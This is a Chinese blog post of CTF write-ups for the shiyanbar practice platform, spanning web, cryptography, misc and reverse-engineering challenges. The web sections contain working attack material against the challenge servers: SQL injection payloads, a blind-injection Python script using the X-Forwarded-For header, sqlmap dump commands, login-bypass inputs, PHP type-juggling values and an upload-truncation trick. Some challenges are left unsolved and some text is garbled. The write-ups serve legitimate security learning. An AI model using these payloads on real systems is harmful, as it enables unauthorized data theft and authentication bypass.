# 实验吧 writeup

原创

CHOOOU 于 2018-08-06 21:30:22 发布 1551 收藏
分类专栏： CTF 文章标签： 实验吧 writeup wp

本文链接：https://blog.csdn.net/one_of_a_kind/article/details/81461737



## 实验吧 WP

有几个题没做完，正在不断更新中，欢迎提问，如果 markdown 格式有错误也请呼我

## WEB

### 认真一点！

没做出来~~~~~~~~~~~~~~~~~~
过滤了union sleep and
1’or’1’=‘1 in
2’or’1’=‘1 not
2’or’a’=‘a in
2’or(ascii((select(database())))>1)or’a’=‘b
2’or(ascii(substring(select(database())from(1))>1)or’a’='a
!!!

### 登陆一下好么？

看的writeup，两种方法，首先这个题过滤了绝大多数，唯独单引号和等号
猜测sql语句： select * from user where username=‘用户名’ and password=‘密码’

1. 双引号绕过
   如果username=’=’，password=’=’，语句为where username=’ ‘=’ ’，password也一样，这样语句就变成where 1 and 1，就会爆出所有的数据
2. 利用mysql数据类型转换特性以及特殊截断符号“%00”
   payload是这样：username=a’+0;%00&password=
   user是一个字符串类型的，当他接受到一个整型值切值为0的时候，就会返回数据库的所有条目。 一个字符串加一个整形，会自动的变量类型转换，变为一个整型。

但是貌似被过滤了啊我没成功。

### who are you?

在报文中加下面这句 X-Forwarded-For: 1.1.1.1，发现成功注入，这个题目的注释是要把ip写入db中，所以存在insert注入

```
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
allString=string.digits + string.letters
flag=""

for i in range(1,33):
    for str1 in allString:
        data="11' and (select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(5
) else 1 end ) );#".format(str(i),str1)
        print data
        headers={"x-forwarded-for":data}
        try:
            res=requests.get(url,headers=headers,timeout=5)
        except requests.exceptions.ReadTimeout, e:
            flag += str1
            print flag
            break
        except:
            continue
print 'flag:' + flag
```

格式很蛋疼，不是md5解密

## 因缺斯汀的绕过

F12发现source.txt，

```php
<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
 echo '<form action="" method="post">'."<br/>";
 echo '<input name="uname" type="text"/>'."<br/>";
 echo '<input name="pwd" type="text"/>'."<br/>";
 echo '<input type="submit" />'."<br/>";
 echo '</form>'."<br/>";
 echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){
        print "姘村影杞借境锛屽害鍙⍰磁鑵囷紟";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
 die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "浜﹀影璧涜墠锛屽";
    }
}else{
 print "涓€棰楠磁鑵囷紟";
}
mysql_close($con);
?>
```

可以提交uname和pwd，AttackFilter对其进行过滤，AttackFilter(‘uname’或’pwd’,value,filter)，如果value是数组，用implode把数组合并成字符串。
接着int preg_match ( string $pattern , string KaTeX parse error: Expected 'EOF', got '&' at position 18: …bject [, array &̲matches [, int $flags = 0 [, int $offset = 0 ]]] )搜索subject与pattern给定的正则表达式的一个匹配， pattern：要搜索的模式，字符串类型，subject：输入字符串。

请看wp：
http://blog.csdn.net/qq_35078631/article/details/54772798

## 简单的sql注入之3

提交1，出现hello！
提交1’ union select database()#或者123’ union select 1#都是hello！
1’ and ascii(substring((select database()),1,1))=98#
看来只能是盲注，不会返回有用的东西了= =
写脚本大概是以下步骤：
猜测数据库名： 1’ and ascii(substring((select database()),1,1))=98#
猜测表名：1’ and ascii(substring((select group_concat(table_name) from information_schema.tables where table_schema=‘web1’),1,1))=102#
。。。。。。

不想自己写脚本，直接用sqlmap：
python D:\sqlmap\sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 -p id --batch --dump

## 简单的sql注入2

没过滤 # ; " ’
貌似过滤了有空格的=，没有空格的没有过滤，于是id=’=’，有三个数据被曝出。然后我就不会做了，其实这个题是过滤了空格
id=1’’（两个单引号）成功，id=1 ‘’ 出错，说明过滤空格。

绕过空格过滤的方式：

1. /**/
2. ()
3. %0B 据说%0a-%0z都可以
4. 其他绕过方式

```
id=1'union/**/select/**/1'  查询出两条
id=1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables'    出错，如果同上的话应该是可以的
id=1'union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/''='     这样是可以的，超级超级烦
id=1'union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag
id='union/**/select/**/flag/**/from/**/flag/**/where''='
```

我猜测之所以第二次尝试不正确是因为有空字节，就是这个东西：‘’。。。。。。。。。。。。不懂@_@

## 简单sql注入

id=’ 有错误 …an error in your SQL syntax; … near ‘’’’ …
id=1’ ‘两个单引号可以
id=’=‘返回了所有数据
id=1’ union select flag from flag where 1=1 有错误near ‘flag flag 1=1’’，可见将from过滤
id=1’ a 错误 near ‘a’’
id=1’ union 错误 near ‘’’ 可见将union过滤
id=1’ union123 错误near ‘union123’’ 说明过滤不完全

直接把上题payload直接复制过来就行了。

看了一篇wp
前几步和我的思路（其实我也是在知道payload之后差不多
5）把关键字写2遍提交，发现如下报错： corresponds to your MySQL server version for the right syntax to use near ‘unionselectflag fromflag where’t’=’t” at line 1
分析：发现空格被过滤了
6)）使用+号在空格之前连接：
http://ctf5.shiyanbar.com/423/web/?id=1 ‘+unionunion +selectselect +flag+fromfrom +flag+wherewhere+’’=’

## 天下武功唯快不破

注意有个keep-alive：timeout=5的响应报文头，自己搜什么意思

```
import base64
import urllib2
import urllib
url = 'http://ctf5.shiyanbar.com/web/10/10.php'
request = urllib2.Request(url)
response = urllib2.urlopen(request)
flag = response.info().getheader('FLAG')
flag = base64.b64decode(flag)
flag = flag.split(':')[1]

postdata = urllib.urlencode( {'key':flag} )
request1 = urllib2.Request(url, data = postdata)
#print request1.read() 不知道怎么看请求报文，还是用wireshark吧
response1 = urllib2.urlopen(request1)
print response1.read()
```

## 让我进去

cookie中发现source，修改（好像不是0就行），重新发送（F12，右键一个请求，直接修改并发送，开burp麻烦）。看响应（同样是在F12里），得到了这个：

```php
$flag = "XXXXXXXXXXXXXXXXXXXXXXX";
$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!

$username = $_POST["username"];
$password = $_POST["password"];

if (!empty($_COOKIE["getmein"])) {
    if (urldecode($username) === "admin" && urldecode($password) != "admin") {
        if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {
            echo "Congratulations! You are a registered user.\n";
            die ("The flag is ". $flag);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("You are not an admin! LEAVE.");
    }
}

setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));

if (empty($_COOKIE["source"])) {
    setcookie("source", 0, time() + (60 * 60 * 24 * 7));
}
else {
    if ($_COOKIE["source"] != 0) {
        echo ""; // This source code is outputted here
    }
}
```

如果cookie名为getmein的参数的值不为空{
如果username，password解码后分别等于和不等于=admin{
如果getmein=md5($secret.urldecode($username . $password)){
输出flag
}
}
}
可以连接字符串，可以看到samplehash的值（md5($secret . urldecode(“admin” . “admin”))）我们已经知道了，571580b26c65f306376d4f64e53cb5c7

```
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
```

## 拐弯抹角

bb了一大堆，最重要的东西都没过滤
$code = str_replace($flag, ‘CTF{???}’, file_get_contents(’./index.php’));
所以只要访问 http://ctf5.shiyanbar.com/10/indirection/index.php

## Forms

F12发现隐藏了一个showsource，把0改成1（好像不是0就行），提交，

```
$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
    echo "Congratulations! The flag is $flag";
} else {
    echo "User with provided PIN not found.";
}
```

## 天网管理系统

```
！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！
```

F12发现隐藏， $test=$_GET['username']; $test=md5($test); if($test=='0')，发送好了，PHP在处理哈希字符串时，会利用"!="或"=="来对哈希值进行比较，它把每一个以"0E"开头的哈希值都解释为0，所以如果两个不同的密码经过哈希以后，其哈希值都是以"0E"开头的，那么PHP将会认为他们相同，都是0。常见的payload有QNKCDZO，240610708。
然后登陆http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer，看到

```
$unserialize_str = $_POST['password']; $data_unserialize = unserialize($unserialize_str); if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') { print_r($flag); } 伟大的科学家php方言道：成也布尔，败也布尔。回去吧骚年 。
```

unserialize是将序列化的数据还原，serialize是将数据序列化，参考 http://php.net/manual/zh/function.serialize.php。题目还提示用到了布尔，于是构造password为 a:2:{s:4:"user";b:1;s:4:"pass";b:1;}， 因为==是只判断值，不判断类型（即所谓弱类型），===才是判断类型和值
我不知道为什么不能直接构造user和pass都为'？？？':
我还测试了一下a:2:{s:4:'user';b:1;s:4:'pass';b:1;}是不可以的，可是为什么a:2:{s:4:"user";s:3:"???";s:4:"pass";s:3:"???"}也不行，哎，自己测试也能echo1啊~~~~~@_@

```
$b = 'a:2:{s:4:"user";s:3:"???";s:4:"pass";s:3:"???";}';
$data_unserialize = unserialize($b);
if($data_unserialize['user'] == '???' &&$data_unserialize['pass']=='???')
echo(1);
```

## 忘记密码了

F12，发现head标签里，有编写人和vim，而用vim会有遗留问题，就是有一个备份文件.swp

第一步第二步都没有.swp，在第二步里有一个submit.php，打开.submit.php.swp，注意submit前有个.点，因为它是linux系统下的隐藏文件，

```
if(!empty($token)&&!empty($emailAddress)){
 if(strlen($token)!=10) die('fail');
 if($token!='0') die('fail');
 $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
 $r = mysql_query($sql) or die('db error');
 $r = mysql_fetch_assoc($r);
 $r = $r['num'];
 if($r>0){
  echo $flag;
 }else{
  echo "遭辫触浜喟憋";
 }
}
```

啊啊啊啊啊啊，在step1的head头里有管理员的email，构造token='0e12345678'，php认为0e开头的都==0

关于swp文件：http://blog.csdn.net/pwiling/article/details/51830781

## Once more

ereg存在截断漏洞，php5已弃用，%00即可截断，题目提示科学计数法，1e9%00*-*，直接提交是不行的，因为进行了url编码，在地址栏提交就好啦

## Guess next session

```
<?php
session_start();
if (isset ($_GET['password'])) {
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print '<p>Wrong guess.</p>';
}

mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
```

又是代码审计= =
下面的随机数没有意义。我只要把password置为空，cookie中的PHPSESSID改一下就行了。服务器端可能是在上面这段代码之后，给session['password']赋值了，如果我们发送一个新的sessionID，这样服务器还来不及生成password，就为空，这样第二个if判断就为真了

关于session：
会话开始之后，PHP 就会将会话中的数据设置到 $_SESSION 变量中。 当 PHP 停止的时候，它会自动读取 $_SESSION 中的内容，并将其进行序列化， 然后发送给会话保存管理器来进行保存。
http://php.net/manual/zh/session.examples.basic.php

## FALSE

php中sha1和MD5没法处理数组啊！所以地址栏中改成name[]=a&password[]=b，这样两者不同，并且sha1（）是都为false

## 上传绕过

不存在本地js检测，可能是检测目录路径类型的绕过(服务端)，burp拦截将/uploads/改为/uploads/ha.php 后加一个空格，在hex中把20（空格）改为00，系统会截断，上传文件随便弄个jpg就行了。
我不知道为什么，文件路径上是php就行了
http://blog.csdn.net/hope_smile/article/details/46298413
http://www.legendsec.org/1665.html

## NSCTF web200

反编译就行了：

```
function encode($str){
    $_o = strrev($str);
    for($_0=0;$_0<strlen($_o);$_0++) {
        $_c = substr($_o,$_0,1);
        $__ = ord($_c)+1;
        $_c = chr($__);
        $_ = $_.$_c;
    }
    return str_rot13(strrev(base64_encode($_)));
}

function decode() {
    $str = str_rot13('a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws');
    $str = strrev($str);
    $_ = base64_decode($str);
    $_o='';

    for($_0=strlen($_)-1;$_0>=0;$_0--){
        $_c = $_[$_0];
        $_c = ord($_c);
        $_c--;
        $_c = chr($_c);
        $_o.=$_c;
    }
    return $_o;
}
```

一开始我以为$_o或者$_0有什么特殊含义，其实就是个变量，而且两者没有联系。

## 程序逻辑问题

F12有链接，ctrl+左键打开它，有网站源码fuck又是代码审计。

```
if($_POST[user] && $_POST[pass]) {
 $conn = mysql_connect("********", "*****", "********");
 mysql_select_db("phpformysql") or die("Could not select database");
 if ($conn->connect_error) {
  die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
 printf("Error: %s\n", mysql_error($conn));
 exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
 echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
  }
```

简单说，就是($row[pw]) && (!strcasecmp($pass, $row[pw]))成立就行了。$sql明显可以注入，从而影响$row[pw]。
user：rwrq323r2q3rq2' union select md5(123)#
pass：123

有关mysql_fetch_array： http://php.net/manual/zh/function.mysql-fetch-assoc.php

### what a fuck!

jsfuck，F12然后在调试器中粘贴进去并回车，弹出flag

### PHP大法

就是审计，使id的值不能含有hackerDJ，解码后等于hackerDJ，注意浏览器会为我们解一次码，可以提交%2568代替h，%25解码后为%，%68就是h，浏览器解码后就是%68ackerDJ。

### 这个看起来有点简单！

自动：

```
python D:\sqlmap\sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -p id --dump --batch
```

其实从sqlmap的返回里面能看出很多有用的东西，比如我本以为必须id = 1' 后面要加个引号，其实不然，不知道服务器端怎么实现的@_@。
手动：

```
id=1 union select database(),@@version
id=3 union select group_concat(column_name),1 from information_schema.columns where table_name='thiskey'
id=3 union select k0y,2 from thiskey
```

### 貌似有点难

$_SERVER[“HTTP_CLIENT_IP”]，$_SERVER[“HTTP_X_FORWARDED_FOR”]，$_SERVER[“REMOTE_ADDR”]分别对应请求头里的client-ip,x-forwarded-for,remote-addr，随意修改一个的值为1.1.1.1即可
可以在burp或浏览器里修改，也可以写脚本。

```
import requests
host = 'http://ctf5.shiyanbar.com/phpaudit/'
response = requests.get(host, headers={'client-ip':'1.1.1.1'})
print response.text.encode("GBK",'ignore')
#'gbk' codec can't encode character u'\xb4' in position 829: illegal multibyte sequence 如果不加encode会出错
```

### 头有点大

修改header，从网上搜个ie的消息头，Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0;），然后再加上.net framework，就成了Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 9.9)
然后再把accept-language改成en-gb（英国码）就行了。

### Forbidden

直接修改accept-language: zh-hk;

### 猫抓老鼠

什么破题，把Content-Row里的提交就行了

### 看起来有点难

## 密码学

## 传统知识+古典密码

辛卯，癸巳，丙戌，辛未，庚辰，癸酉，己卯，癸巳 +甲子
28 30 23 08 17 10 16 30 + 01
88 90 83 68 77 70 76 90
ascii转成字符，然后把栅栏解密第二栏凯撒解密

## try them all

你已经发现了一种含盐的密码口令文件。未受保护的配置文件显示了5948个盐。该密码为Admin用户似乎81bdf501ef206ae7d3b92070196f7e98，尝试暴力破解密码。
有关加盐 http://blog.jobbole.com/61872/

```
@@@@@@@@@@@@
```

## 奇怪的字符串

ascii转字符->base64解密

## 疑惑的汉字

当铺密码，汉字出头的数量表示数字。

## 困在栅栏里的凯撒

so easy

## 奇妙的音乐

盲文：kmdonowg
用adode cc打开wav文件，摩斯密码解密
CTF{wpei08732?23dz}

## 敌军情报

密文是ascii，先转换成字符，再摩斯解码

## 我喜欢培根

so easy

## decode

几种简单解码

## 兔子你好

rabbit解密

## 凯撒是罗马共和国杰出的军事统帅

so easy

## 摩擦摩擦

莫斯

## 最近听说刘翔离婚了

栅栏

### 最近在论证一个问题，到底是先有鸡还是先有蛋

找到五个字母在键盘上的位置，围起来的字母，并大写，就是答案

### 一段奇怪的代码

asp encode : http://adophper.com/encode.html

## 安全杂项

### 藏在图片中的秘密

binwalk跑出zip，破解密码，解压打开，有42433331

## 逆向工程

### whatamitoyou

1. 在linux里无法执行，于是查看文件发现没有执行权限，sudo chmod u+x 进行修改
2. 放进ida，找不到main函数，只能找到这个__libc_start_main，`.text:00000000004004AF mov r8, offset nullsub_1 .text:00000000004004B6 mov rcx, offset loc_4019A0 .text:00000000004004BD mov rdi, offset sub_400596 .text:00000000004004C4 call ___libc_start_main`
   而__libc_start_main定义如下，则可判定通过rdi传递的参数 sub_400596 即为 main 函数
   `int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end));`
3. 发现静态调试太复杂，结合 kali 下 edb 动态调试，以下是部分汇编代码`.text:00000000004005AE lea rdx, [rbp+var_140] ; 给140清零 .text:00000000004005B5 mov eax, 0 .text:00000000004005BA mov ecx, 25h .text:00000000004005BF mov rdi, rdx .text:00000000004005C2 rep stosq .text:00000000004005C5 mov rax, 6A20612049206D41h ; 在140 存歌词 .text:00000000004005CF mov [rbp+var_140], rax .text:00000000004005D6 mov rax, 756F79202C656B6Fh .text:00000000004005E0 mov [rbp+var_138], rax .text:00000000004005E7 mov rax, 746867696E6B2072h .text:00000000004005F1 mov [rbp+var_130], rax .text:00000000004005F8 mov rax, 756F7920726F202Ch .text:0000000000400602 mov [rbp+var_128], rax .text:0000000000400609 mov rax, 6568746F72622072h .text:0000000000400613 mov [rbp+var_120], rax .text:000000000040061A mov [rbp+var_118], 3F72h`
   main 的开始就是这样的过程，先给一片区域清零然后放入歌词；然后是一大片赋值，把各个歌词的首地址存到另一个地方`.text:000000000040138D lea rax, [rbp+var_1900] ; 转存到另一个地址 .text:0000000000401394 mov [rbp+var_D50], rax .text:000000000040139B lea rax, [rbp+var_17D0] .text:00000000004013A2 mov [rbp+var_D48], rax .text:00000000004013A9 lea rax, [rbp+var_1570] .text:00000000004013B0 mov [rbp+var_D40], rax .text:00000000004013B7 lea rax, [rbp+var_140] .text:00000000004013BE mov [rbp+var_D38], rax .text:00000000004013C5 lea rax, [rbp+var_11E0] .text:00000000004013CC mov [rbp+var_1470], rax .text:00000000004013D3 lea rax, [rbp+var_1900] .text:00000000004013DA mov [rbp+var_1468], rax`
   最后栈空间大概是这样`00007ffc:2f3ae770|7327746920776f4e|Now it's| 00007ffc:2f3ae778|67203b656e6f6720| gone; g| 00007ffc:2f3ae780|65726f6620656e6f|one fore| 00007ffc:2f3ae788|000000002c726576|ver,....| 00007ffc:2f3ae790|0000000000000000|........| 00007ffc:2f3ae7a0|0000000000000000|........| ..... 00007ffc:2f3ae860|0000000000000000|........| 00007ffc:2f3ae868|0000000000000000|........| 00007ffc:2f3ae870|00007ffc2f3adf20| .:/....|ASCII "But I guess, what does it matter" 00007ffc:2f3ae878|00007ffc2f3ae180|..:/....|ASCII "What am I to you?" 00007ffc:2f3ae880|00007ffc2f3aeb00|..:/....|ASCII "Everyone... Bubblegum... I'm so dumb" 00007ffc:2f3ae888|00007ffc2f3af5b0|..:/....|ASCII "And you, Jake." 00007ffc:2f3ae890|0000000000000321|!.......| 00007ffc:2f3ae898|0000000000000000|........| 00007ffc:2f3ae8a0|206f6e20656b614d|Make no | 00007ffc:2f3ae8a8|21656b617473696d|mistake!| 00007ffc:2f3ae8b0|0000000000000000|........| 00007ffc:2f3ae8b8|0000000000000000|........| .....`

`00007ffc:2f3ae990|0000000000000000|........| 00007ffc:2f3ae998|0000000000000000|........|`
`00007ffc:2f3ae9a0|00007ffc2f3af350|P.:/....|ASCII "Do you look down on me 'cause I'm younger?"`
`00007ffc:2f3ae9a8|00007ffc2f3af480|..:/....|ASCII "I'm gonna sing a song that feels so real, it'll make this door break!" 00007ffc:2f3ae9b0|00007ffc2f3af810|..:/....|ASCII "Am I a joke, your knight, or your brother?" 00007ffc:2f3ae9b8|00007ffc2f3af5b0|..:/....|ASCII "And you, Jake."`
上面一部分是歌词，下面一部分是索引

4. 这两个在 main 函数开头的赋值也很值得琢磨，说明此程序需要参数，这也就是为什么程序会出现段错误 `.text:00000000004005A1 mov [rbp+var_1C94], edi ; 1C94 = argc .text:00000000004005A7 mov [rbp+var_1CA0], rsi ; 1CA0 = argv`
5. 下面就是主要的逻辑部分 `v380 = &v235; v379 = 1; v378 = 0; while ( 1 ) { v377 = *argv[1]; if ( !v377 ) break; if ( v379 & 1 ) v378 *= v379; else v378 /= v379; v378 += (v377 - 32) * *((_DWORD *)v380 + 72); v380 = (__int64 *)v380[v377 - 65 + 32LL]; ++v379; ++argv[1]; }`
暂且不用管v378的值；edb 指示出 v380 一开始指向 *Everyone, Bubblegum, I'm so dumb*，在网上可以找到一首名为 ***My Best Friends in the World*** 的歌曲，其开头就是 *Everyone, Bubblegum, I'm so dumb*，推测我们需要按照歌词的顺序“唱歌”，即选择正确的路径进行跳转
6. *Everyone, Bubblegum, I'm so dumb* 的首地址为 7fffc2f3aeb00，而其下方第一个歌词索引的地址为 7fffc2f3aec00，两者相减为 0x100 = 256，除 8 等于 32，因此 v377 如果为 65 就选第一个索引，65 即 'A'，接下来就是选择题了

## 迷路

## Just Click

用ILSpy打开

1. 有一个数组 `int[] array = new int[]{0,1,3,4,2,1,2,3,4};`
2. 点击按钮会调用btn_Checker函数，并将按钮号作为参数；如果八次点击，每次都符合这个数组中的顺序，那么输出成功，并将flag显示出来

## 分道扬镳

1. 在IDA中打开，根据字符串等定位到主函数
2. 很明显，`"********* * ** * ** ** * ** ** * #* "...` 这个就是所谓的迷宫
3. 逻辑比较简单，先判断长度是否为 22，然后 h j k l 分别表示向左 下 上 右走；目的很简单，从左上角的空白处走到 #，不能碰到 *；

```
  if ( strlen(&v7) != 22 )
  {
    printf("Sorry you are wrong!\n");
......
  }
  do
  {
    v12 = *(&v7 + v13);
    if ( v12 != 107 && v12 != 106 && v12 != 104 && v12 != 108 )// 104 h ←    106 j ↓   107 k ↑   108 l →
    {
      printf("Sorry you are wrong!\n");
......
    }
    v11 = *(&v7 + v13);
    v2 = v11;
    if ( v11 == 104 )
    {
      --v3;
      if ( v3 < (unsigned int)&v4 || v3 > (unsigned int)&v6 || (result = *(_BYTE *)v3, result == 42) )
      {
        printf("Sorry you are wrong!\n");
......
      }
      if ( *(_BYTE *)v3 == 35 )
      {
LABEL_41:
        printf("Good!\n");
......
      }
    }
    else if ( v2 == 106 )
    {
      v3 += 8;
      if ( v3 < (unsigned int)&v4 || v3 > (unsigned int)&v6 || *(_BYTE *)v3 == 42 )
      {
        printf("Sorry you are wrong!\n");
......
      result = *(_BYTE *)v3;
      if ( result == 35 )
        goto LABEL_41;
    }
    else if ( v2 == 107 )
    {
      v3 -= 8;
......
    }
    else
    {
      ++v3;
......
    }
    ++v13;
  }
  while ( v13 < 25 );
```

下图为迷宫，可以从向上下走看出来（v3+=8，v3-=8），即宽度为 8，

```
********
* *    *
* * ** *
* * ** *
* * #* *
* **** *
*      *
********
```

## 1000000

此题非常简单

1. 用 IDA 打开，在 string 子窗口找到关键字符串定位到主函数
2. 逻辑十分简单，就是将输入和 0x80 进行 “逻辑或”，再与给定字符串进行比较，相同即可；那么我们对给定字符串做“或”的逆运算“异或”即可得正确的输入
3. 上代码

```
s = "\xE6\xEc\xE1\xE7\xBA\xF4\xE5\xF3\xF4\xF4\xE5\xF3\xF4"
for i in s:
 print(chr(ord(i) ^ ord('\x80')),end = "")
```

## wzwzDingDing

毫无头绪，原来是驱动程序，这就涉及到我的知识盲区了，在ida中string子窗口中可以看到 wdm.h，在网上一搜原来是 write kernel-mode drivers 用的

## 有一个程序加密得到如下密文

用 uncompyle 将 pyc 反编译一下，拿到源码之后就好做了，但当运行的时候会不显示结果，修改成下面这样就行了：

```
if operation == 'DECODE':
        if not result[0:10].isdigit() or int(result[0:10]) == 0 or int(result[0:10]) - int(time()) > 0:
            if result[10:26] == md5(result[26:].encode('utf-8') + keyb).hexdigest()[0:16]:
                return result[26:]
            else:
                return result[26:]
        else:
            return result[26:]
```

## FLAG

坑死了，我把 == 和 && 优先级弄混了，导致怎么做都不对
这个题可以通过一步步递推求出正确答案，按 F12 可以在“网络”里看到源码，建议拷贝出来

1. 就是一个 if 而已，首先 a.length 必须是 47，然后就是一大堆通过 && 连接的等式，如果这些等式都成立，那么 && 之后就为 1，就会输入 correct
2. 通过观察，在&&后面输个回车，这些等式长短不一且有关联，其中 a[0]==102 就可判断 a[0]，再找 a[0]-a[1]==-6 即可判断 a[1]，这样递推就可以得出所有的值
3. 上代码

```
raw = "a[11]-a[5]%a[1]*a[12]%a[14]-a[6]*a[7]-a[24]+a[10]%a[13]+a[2]*a[23]+a[21]+a[15]%a[3]%a[19]-a[20]*a[0]%a[17
]+a[18]-a[22]+a[8]+a[4]-a[9]+a[25]+a[16]==-161&&a[14]+a[19]%a[20]-a[3]-a[4]+a[5]%a[23]%a[12]%a[21]-a[18]%a[24]%a
[0]+a[6]*a[17]-a[7]*a[9]-a[10]+a[8]+a[22]*a[15]%a[16]-a[26]-a[1]%a[11]+a[2]+a[25]+a[13]==-42&&a[34]+a[27]+a[29]-
a[10]*a[13]*a[20]%a[31]+a[2]*a[23]-a[0]*a[8]-a[6]*a[9]-a[19]%a[3]+a[15]%a[1]-a[25]-a[26]*a[16]%a[30]-a[17]+a[12]
+a[5]-a[33]+a[21]+a[24]*a[14]+a[11]*a[32]-a[22]*a[4]+a[18]+a[28]-a[7]==-56&&a[20]+a[13]%a[4]-a[21]+a[16]-a[12]+a
```

```
[11]%a[9]%a[3]%a[0]*a[8]%a[2]+a[5]%a[17]+a[15]-a[10]%a[18]-a[6]-a[1]-a[19]*a[7]%a[14]==-76&&a[6]%a[29]+a[4]+a[18
]%a[22]+a[16]+a[30]-a[19]*a[21]+a[24]+a[5]-a[34]*a[13]+a[17]*a[11]-a[31]*a[23]+a[14]+a[28]+a[20]-a[10]+a[32]+a[3
3]%a[12]*a[26]+a[2]%a[15]*a[1]+a[27]*a[25]-a[3]%a[7]%a[8]*a[9]-a[0]+a[35]==-129&&a[1]*a[3]*a[5]%a[6]-a[2]%a[0]+a
[4]-a[7]==18&&a[19]+a[20]+a[4]+a[0]-a[17]-a[8]-a[2]*a[7]+a[18]-a[14]-a[3]-a[5]+a[10]-a[11]+a[6]*a[1]%a[13]%a[15]
*a[12]-a[9]-a[16]==-36&&a[6]-a[1]+a[4]+a[0]%a[5]%a[2]-a[3]==21&&a[1]-a[5]%a[4]%a[8]%a[3]-a[10]-a[0]%a[7]%a[9]%a[
6]-a[2]==-157&&a[9]%a[5]-a[11]+a[7]-a[0]%a[10]*a[4]%a[3]+a[1]-a[6]%a[8]+a[2]==99&&a[1]+a[4]%a[0]%a[3]*a[7]%a[6]-
a[8]-a[2]+a[5]==127&&a[8]+a[34]%a[10]%a[4]%a[16]+a[25]+a[15]-a[31]-a[2]*a[3]-a[27]*a[13]%a[23]%a[1]+a[17]*a[26]+
a[5]%a[30]+a[35]%a[36]+a[22]%a[7]%a[29]-a[21]+a[28]*a[18]-a[37]+a[38]+a[11]%a[20]+a[9]-a[32]-a[0]*a[14]+a[33]*a[
12]+a[24]-a[19]+a[6]==4&&a[2]-a[1]-a[3]+a[0]==-12&&a[6]%a[25]%a[17]+a[24]-a[23]+a[15]%a[31]*a[13]+a[29]-a[12]%a[
0]*a[11]-a[27]+a[5]-a[2]-a[10]%a[28]*a[14]-a[8]+a[7]*a[22]+a[26]+a[3]%a[21]+a[32]-a[20]*a[4]+a[30]+a[18]*a[16]-a
[9]%a[1]%a[19]==132&&a[17]-a[11]+a[1]-a[0]%a[5]*a[12]%a[13]+a[4]%a[14]-a[10]-a[15]%a[8]%a[7]+a[6]-a[2]%a[16]+a[9
]+a[3]==128&&a[28]+a[19]*a[9]+a[26]%a[5]-a[22]+a[3]%a[4]+a[12]%a[0]+a[25]%a[2]%a[13]-a[15]+a[23]%a[21]*a[27]%a[2
0]%a[16]%a[11]+a[24]%a[7]-a[6]*a[1]-a[14]+a[18]+a[10]%a[8]-a[17]==-43&&a[11]*a[2]%a[19]*a[6]-a[14]+a[32]*a[1]%a[
28]-a[3]%a[27]-a[4]+a[13]+a[24]%a[12]-a[10]+a[23]-a[15]%a[0]%a[31]%a[16]-a[17]*a[7]%a[21]%a[20]%a[25]*a[8]+a[22]
*a[18]%a[5]-a[26]+a[33]+a[9]%a[30]%a[29]==87&&a[11]*a[17]%a[16]-a[18]%a[13]+a[10]+a[0]%a[5]-a[23]+a[15]*a[21]%a[
20]+a[9]+a[7]-a[19]*a[2]-a[24]+a[1]*a[14]+a[6]%a[4]%a[8]%a[3]-a[22]-a[12]==-130&&a[1]-a[3]-a[6]*a[9]%a[13]-a[18]
+a[2]*a[12]*a[7]%a[0]-a[16]+a[17]-a[4]*a[5]%a[14]+a[10]*a[11]*a[15]%a[8]==-123&&a[14]-a[26]-a[21]+a[34]%a[15]+a[
9]+a[19]%a[13]+a[36]+a[18]%a[11]*a[12]%a[30]+a[29]+a[31]%a[17]-a[5]*a[24]*a[20]%a[8]%a[22]-a[4]-a[25]%a[10]-a[6]
